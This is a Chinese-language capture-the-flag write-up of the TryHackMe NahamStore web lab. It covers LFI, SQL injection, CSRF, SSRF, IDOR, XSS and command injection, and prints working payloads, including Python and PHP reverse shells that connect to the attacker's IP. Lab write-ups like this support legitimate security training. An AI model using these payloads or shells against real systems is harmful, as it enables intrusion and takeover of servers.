TryHackMe-NahamStore(常见web漏洞 大杂烩)

news2025/1/11 7:49:30

NahamStore

  • 漏洞赏金
  • web安全

NahamStore的创建是为了测试您在NahamSec的“漏洞赏金狩猎和Web应用程序黑客入门”Udemy课程中学到的知识。 部署计算机,获得 IP 地址后,进入下一步!


写在前面

可能我的顺序,跟别人以及题目都不太一样,有点乱,但是这是正常的。

这个房间很有意思,涵盖了许多常见web漏洞


设置

要开始挑战,您需要在 /etc/hosts 或 c:\windows\system32\drivers\etc\hosts 文件指向 您部署的 TryHackMe 盒子。

例如:

10.10.110.169                  nahamstore.thm

什么时候 枚举子域时,应针对 nahamstore.com 域执行该枚举。找到子域后,您需要在 /etc/hosts 或 c:\windows\system32\drivers\etc\hosts 文件指向 朝向已部署的 TryHackMe 盒子 IP 地址,并将.com替换为 。.thm。例如,如果您发现子域 whatever.nahamstore.com 您将添加以下条目:

10.10.110.169          something.nahamstore.thm

您现在可以在浏览器中查看 http://something.nahamstore.thm。

任务可以按任何顺序执行,但我们建议从子域枚举开始。


端口扫描

循例 nmap扫:

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt

进入80端口的web

在这里插入图片描述

LFI

查看源代码,首先发现的就是:

在这里插入图片描述

可能存在文件包含

经过尝试,后端仅仅只是过滤掉"点点杠" 并没有禁止访问

因此使用:

....//....//....//....//....//

就可以绕过,但是几乎没有权限访问许多文件

题目告诉我们flag在/lfi/flag.txt,最终payload:

http://nahamstore.thm/product/picture/?file=....//....//....//....//....//....//lfi/flag.txt

注意:flag只有抓包才能看见,flag在响应体中

在这里插入图片描述

sql injection - 1

主页有两篇东西,随便点击去发现可能存在sql注入

在这里插入图片描述

存在sql注入,题目告诉我们flag在sqli_one表的flag列中,直接查看flag

在这里插入图片描述

CSRF - 1

后台修改密码处,抓包查看,很明显,这里很可能会导致csrf攻击

在这里插入图片描述

CSRF - 2

修改邮箱处

在这里插入图片描述

虽然有csrf_token,但是后端弱验证,只需要将csrf_protect删除,一样可以修改成功

在这里插入图片描述

CSRF - 3

删除用户处

在这里插入图片描述

很明显,这里的csrf_token是用base64编码的,并且是固定的数值

SQL Injection - 2

后台退货处

在这里插入图片描述

随便输了点东西,看这个回显,看到order number我一下联想到sql注入

在这里插入图片描述

果然,时间盲注,POC:

-1;  select * from  sqli_two where flag like '{212%' or sleep(5);--

爆字符这种无聊的事情就交给sqlmap去做吧

sqlmap -r ./req -D nahamstore -T sqli_two -C flag --dump

在这里插入图片描述

SSRF

在商品的“check stock”按钮,发现该请求的参数包含一个域名,使用@符绕过成功访问到攻击机

在这里插入图片描述
在stock.nahamstore.thm中也没有什么发现,

我对着所有子域以及进行了目录扫描,均没有发现什么

所以可以猜测stock.nahamstore.thm调用内部的api,现在有ssrf,我们可以利用其来帮助我们探测内部信息

一开始我直接对着server开冲,结果ffuf扫了上百万条都没扫出来

server=stock.nahamstore.thm@FUZZ.nahamstore.thm

然后我又去看看题目:

  • 应用程序存在 SSRF 漏洞,请参阅如何利用它来查看不应可用的 API。

也就是说子域名字包含api,但又不是api那么有可能是:

xxx-api.nahamstore.thm

然后又开扫,又没扫出来,然后我打开wireshark,发现全是:

 504 Gateway Time-out
 又或者 Bad Gateway

我仔细想了想,然后在扫描的过程中访问nahamstore.thm,发现也访问不进去了

这时候我懂了,扫描变ddos了,直接给它给d死了

然后我将ffuf线程数降低到10以下,虽然很慢很卡,但至少不死,至少还有响应回来

在这里插入图片描述

成功扫到,即internal-api子域

payload:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://nahamstore.thm/stockcheck' -X POST -d 'product_id=2&server=stock.nahamstore.thm@FUZZ-api.nahamstore.thm' -H 'Host: nahamstore.thm' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -t 5

查看internal-api.nahamstore.thm:

{"error":"Unknown Endpoint or Method Requested"}

嗯,应该是product/2拼接到了internal-api.nahamstore.thm

我们可以使用#注释掉后面的东西:

product_id=2&server=stock.nahamstore.thm@internal-api.nahamstore.thm#

结果:

{"server":"internal-api.nahamstore.com","endpoints":["\/orders"]}

访问/orders

在这里插入图片描述

通过这些id访问,这些是订单信息,题目要求我们找到Jimmy Jones的信用卡号码,那就挨个挨个找一下

在这里插入图片描述

Open Redirect - 1

在添加地址这里,添加的这个包通过参数redirect_url来进行重定向到/basket

在这里插入图片描述

IDOR - 1

紧接着在选择已有的地址的时候,有一个包存在IDOR

在这里插入图片描述

成功越权访问到其他用户的订单

IDOR - 2

紧接着在后台的order,查看以购买的商品订单,有一个转pdf的功能,抓包改包:

在这里插入图片描述

回显:

Order does not belong to this user_id

尝试添加user_id依然不行

这里需要使用%26进行绕过

在这里插入图片描述

在这里插入图片描述

为什么可以这样做?

通过这张图片,其实对这里还有一个疑问为什么这能绕过

我想明白了。

首先,/pdf-generator只接收两个参数:what和id

所以我们尝试各种传入user_id都没有被正常处理

  • 那为什么可以%26绕过呢?
  • user_id又是如何被正常解析出来并被处理的呢?

你可能会想/pdf-generator将url参数参数二次解析了,第二次解析的时候将user_id解析了出来,

我告诉你,对一半,既然/pdf-generator只接受what和id,说明程序不会从http请求中提取user_id来操作,不要求user_id,即使二次解析将user_id解析出来又有什么用呢,程序又不会使用url参数中的user_id。

那,为什么对一半呢,因为它确实是二次解析:

首先

/pdf-generator的功能并不是由它自身来完成,而是像上面ssrf一样,调用了某个api来完成相应的操作,而api需要user_id

当我们使用%26的时候在/pdf-generator就会被解析为:

what=order
id=%26user_id=3

这时候user_id包含在id参数中

当/pdf-generator拿着这两个参数去请求api的时候:

what=order&id=&user_id=3

由于一次urldecode,这一次user_id被正常拼接到parameters中

最终api将会解析出三个参数,api将获得并使用我们传递的user_id

good

Open Redirect - 2

对着nahamstore.thm/?FUZZ=http://baidu.com进行fuzz:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u 'http://nahamstore.thm/?FUZZ=http://baidu.com' -mc 301,302

r                       [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 254ms]

收工,睡觉,剩下的漏洞明天再找

XSS - 1

访问marketing.nahamstore.thm,随便访问一个不存在的页面,返回了/?error,通过error回显错误信息

在这里插入图片描述

XSS - 2

添加商品到购物车,在购物车点击商品会附带name参数,查看源代码可以发现该参数控制页面title标签,很容易就可以绕过

在这里插入图片描述

XSS - 3

购买商品,付款这里,购买后会显示user agent,burp修改ua

在这里插入图片描述

在这里插入图片描述

XSS - 4

商品退货处,查看源代码可以看到被textarea包裹,也是简单绕过

在这里插入图片描述

</textarea><script>alert('hack');</script>

在这里插入图片描述

XSS - 5

访问任意不存在的目录,路径会注入到页面中,也是简单标签绕过

在这里插入图片描述

XSS - 6

主页的搜索表单中,查看源代码:

</html><script>
    var search = ''alert('hack')'';
    $.get('/search-products?q=' + search,function(resp){
        if( resp.length == 0 ){

            $('.product-list').html('<div class="text-center" style="margin:10px">No matching products found</div>');

        }else {
            $.each(resp, function (a, b) {
                $('.product-list').append('<div class="col-md-4">' +
                    '<div class="product_holder" style="border:1px solid #ececec;padding: 15px;margin-bottom:15px">' +
                    '<div class="image text-center"><a href="/product?id=' + b.id + '"><img class="img-thumbnail" src="/product/picture/?file=' + b.img + '.jpg"></a></div>' +
                    '<div class="text-center" style="font-size:20px"><strong><a href="/product?id=' + b.id + '">' + b.name + '</a></strong></div>' +
                    '<div class="text-center"><strong>$' + b.cost + '</strong></div>' +
                    '<div class="text-center" style="margin-top:10px"><a href="/product?id=' + b.id + '" class="btn btn-success">View</a></div>' +
                    '</div>' +
                    '</div>');
            });
        }
    });
</script>

很明显,我们输入的数据被拼接到search变量中,通过字符串拼接“+”来达到逃逸引号并且被正常执行的目的:

'%2balert('hack');%2b'

注意需要将加号进行urlencode

在这里插入图片描述

XSS - 7

在商品页面处

在这里插入图片描述

post参数discount没有用处,但是把它拿到get请求上来,猜测discount从$_REQUEST从取参数,将会覆盖掉discount的初始值

但是这里会把单引号和括号给过滤掉,我们这里需要使用双引号逃逸,如果尝试:

在这里插入图片描述

很明显,这是不行的,可以将后面的双引号作为其他参数:

在这里插入图片描述

这样alert将被成功执行:

在这里插入图片描述

RCE - 1

对于rce,这个站基本上许多功能都看完了,应该没有哪里能rce,所以我把眼光放到了调用api的那两个页面上

没错,又是那个转pdf的功能,对着idfuzzing

最终结果是使用反引号就可以执行任意命令

在这里插入图片描述

这里通过python来getshell,payload:

what=order&id=5`python3+-c+'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.39.48",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'`

在这里插入图片描述

验证想法

还记得昨天的idor吗,通过shell,我找到了相关代码:

在这里插入图片描述

我的猜想果然没错

侦察

利用rce,查看/etc/hosts,发现几个子域:

172.17.0.1      nahamstore-2020.nahamstore.thm
172.17.0.1      nahamstore-2020-dev.nahamstore.thm

在这里插入图片描述

对着api再扫一波:

在这里插入图片描述

/api/customers回显:

"customer_id is required"

简单枚举一下就可以找到Jimmy Jones的ssn

在这里插入图片描述

RCE - 2

8000端口的web什么都没有,扫一波

在这里插入图片描述

这是一个登录页面,弱口令就进去了 admin:admin

很明显能看出,这里后台可以编辑marketing子域的页面

修改页面为payload:

<?php
$sock=fsockopen("10.14.39.48",8888);$proc=proc_open("/bin/bash -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

访问被修改的页面,成功getshell:

在这里插入图片描述

XXE

我对XXE还是比较陌生,所以这里也是看wp学着做的,事后去多了解了一下xxe

结束

打了两天,回顾了许多当时渗透测试基础path中的web以及owasp top 10,我觉得我对xxe还是比较生疏,得找几道xxe的题做做。

全程burp suite立大功

整体来讲,这个房间真的非常不错,前几天我一直不舍得打,一直留到现在,如果有更多这样的房间那就太好了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/172305.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

spring boot集成activemq(windows)

目录 1.环境配置 2.说明 3.服务启动 4.示例 导入依赖 配置文件 service层 配置类 监听器 5.总结 1.环境配置 下载地址&#xff1a;https://activemq.apache.org/components/classic/download/安装&#xff1a;解压缩即可注意每个版本对应的java版本不一样&#xff0c…

分享96个PHP源码,总有一款适合您

PHP源码 分享96个PHP源码&#xff0c;总有一款适合您 下面是文件的名字&#xff0c;我放了一些图片&#xff0c;文章里不是所有的图主要是放不下...&#xff0c; 96个PHP源码下载链接&#xff1a;https://pan.baidu.com/s/1B-tNZlbfjT_D3n_Y6ZwfDw?pwduq19 提取码&#xff…

共享自助自习室棋p室茶室办公室电竞篮球馆小程序开发

共享自助自习室棋p室茶室办公室电竞篮球馆小程序开发 多场景应用的共享空间预约系统如:棋牌室;共享办公室&#xff0c;电竞篮球馆&#xff0c;自助民宿等。目前该应用已对接门锁和电控。 前端功能// 多场景应用、预约时间自定义、附近门店一目了然、支持门禁支持电控、首页门…

Windows系统安装轻量级高性能Web服务开发框架OAT++

一、软件简介 oat 是一个轻量级高性能 Web 服务开发框架&#xff0c;采用纯 C 编写而成。官网&#xff1a;https://oatpp.io/ 这个坑爹的网址在国内经常打不开&#xff0c;要多刷新几次。Github: https://github.com/oatpp/oatpp 当前版本&#xff1a; 1.3.0 其主要特性…

用PYTHON自动登录SAP GUI

我们都知道&#xff0c;SAP原生的“脚本录制和回放”功能是在用户进入到某一个SAP”用户指定系统“后才可以启用&#xff1a; 也就是说&#xff0c;从这里开始&#xff0c;您可以通过脚本录制&#xff0c;生成用户名、密码的输入和SAP登录过程的完整代码&#xff1b; 那么我们…

第三层:C++对象模型和this指针

文章目录前情回顾C对象模型和this指针类成员变量和类成员函数的储存this指针this指针概念this指针用途用途1解释用途2解释空指针调用成员函数const修饰的成员变量常函数内可以被修改的值突破&#xff01;步入第四层本章知识点&#xff08;图片形式&#xff09;&#x1f389;wel…

Matlab中算法结合Simulink求解直流微电网中功率

&#x1f4a5;&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️❤️&#x1f4a5;&#x1f4a5;&#x1f4a5;&#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清…

初识 jQuery(JavaScript 框架)

初识 jQuery&#xff08;JavaScript 框架&#xff09;参考描述jQuery使用 jQuery 的开发优势&#xff08;部分&#xff09;获取jQuery 语法基础语法入口函数$()jQuery 与 $参数DOM 与 jQuery模板获取DOM 对象jQuery 对象转换DOM 对象转换为 jQuery 对象$()jQuery 对象转换为 DO…

Linux系统管理中Nginx和python的安装以及python虚拟环境软件的安装与使用(四)

1、Nginx的安装和配置&#xff1a; 说明&#xff1a;Nginx是一款自由的、开源的、高性能的HTTP服务器和反向代理服务器&#xff1b;同时也是一个IMAP、POP3、SMTP代理服务器&#xff1b;Nginx可以作为一个HTTP服务器进行网站的发布处理&#xff0c;另外Nginx可以作为反向代理进…

C++:list结构算法

List 1.元素在逻辑上具有线性次序&#xff0c;物理地址不做限制。 2.哨兵节点&#xff0c;header和trailer&#xff0c;封装后外部不可见。 3.重载操作符[]&#xff0c;实现下标和位置转换。 4.有序查找无序查找 5.前插入算法&#xff0c;首先创建新节点 然后使new成为this节点…

设计模式之代理模式(静态动态)代理

前言&#xff1a;二十三种设计模式中的一种&#xff0c;属于结构型模式。它的作用就是通过提供一个代理类&#xff0c;让我们在调用目标方法的时候&#xff0c;不再是直接对目标方法进行调用&#xff0c;而是通过代理类间接调用。让不属于目标方法核心逻辑的代码从目标方法中剥…

PHP设计模式

目录 一、使用设计模式目的 二、设计模式的七大原则 三、创建型模式&#xff08;构建型模式&#xff09; 1、单例模式 代码实例 2、工厂模式 2.1、工厂模式——简单工厂模式 简单工厂模式的代码实例 2.2、工厂模式——工厂方法模式 工厂方法模式的代码实例 2.3、工厂…

java开发环境配置及问题排查

Java程序必须运行在JVM之上&#xff0c;所以&#xff0c;我们第一件事情就是安装JDK。 JDK(Java Development Kit)&#xff0c;是Java开发工具包&#xff0c;它提供了Java的开发环境(提供了编译器javac等工具&#xff0c;用于将java文件编译为class文件)和运行环境(提 供了JVM…

Java内存模型和线程安全

Java内存模型和线程安全Java内存模型引言volatile关键字synchronized关键字Java线程Java线程安全synchronized锁优化锁优化技巧列举自旋锁锁消除锁粗化具体实现轻量级锁偏向锁Java内存模型 引言 对于多核处理器而言,每个核都会有自己单独的高速缓存,又因为这多个处理器共享同一…

JavaWeb-会话技术

JavaWeb-会话技术 1&#xff0c;会话跟踪技术的概述 对于会话跟踪这四个词&#xff0c;我们需要拆开来进行解释&#xff0c;首先要理解什么是会话&#xff0c;然后再去理解什么是会话跟踪: 会话:用户打开浏览器&#xff0c;访问web服务器的资源&#xff0c;会话建立&#xff…

反射机制.

文章目录概述两个疑问关于java.lang.Class的理解获取Class实例的方式哪些类型可以有Class对象了解类的加载器掌握加载配置文件的另一种方式创建运行时类的对象体会动态性获取运行时类的完整结构调用运行时类的制定结构每日一考动态代理概述 1、反射是动态语言的关键 2、动态语…

使用Docker打包镜像并发布

1、docker介绍 Docker 是一个开源的应用容器引擎&#xff0c;以镜像的形式进行发布。docker的图标是一个大鲸鱼驮着许多集装箱在海上航行。大鲸鱼就是docker&#xff0c;集装箱就是一个个容器。容器是完全使用沙箱机制&#xff0c;相互之间不会有任何接口&#xff0c;每个容器都…

高级Spring之BeanFactory 与 ApplicationContext 的区别

ApplicationContext接口 SpringBootApplication public class A01 {private static final Logger log LoggerFactory.getLogger(A01.class);public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {//启动SpringBoot程序…

Python Scipy 显著性检验

Scipy 显著性检验显著性检验&#xff08;significance test&#xff09;就是事先对总体&#xff08;随机变量&#xff09;的参数或总体分布形式做出一个假设&#xff0c;然后利用样本信息来判断这个假设&#xff08;备择假设&#xff09;是否合理&#xff0c;即判断总体的真实情…

Linux基本功系列之userdel命令实战

春节马上要到了&#xff0c;大街上到处都是张灯结彩&#xff0c;喜气洋洋的景象&#xff0c;你们那里也开始了吗&#xff1f; 文章目录一. userdel命令概述二. 语法格式及常用选项语法格式及常用参数三. 参考案例3.1 删除用户但不删除家目录等相关的文件3.2 把用户彻底删除3.3 …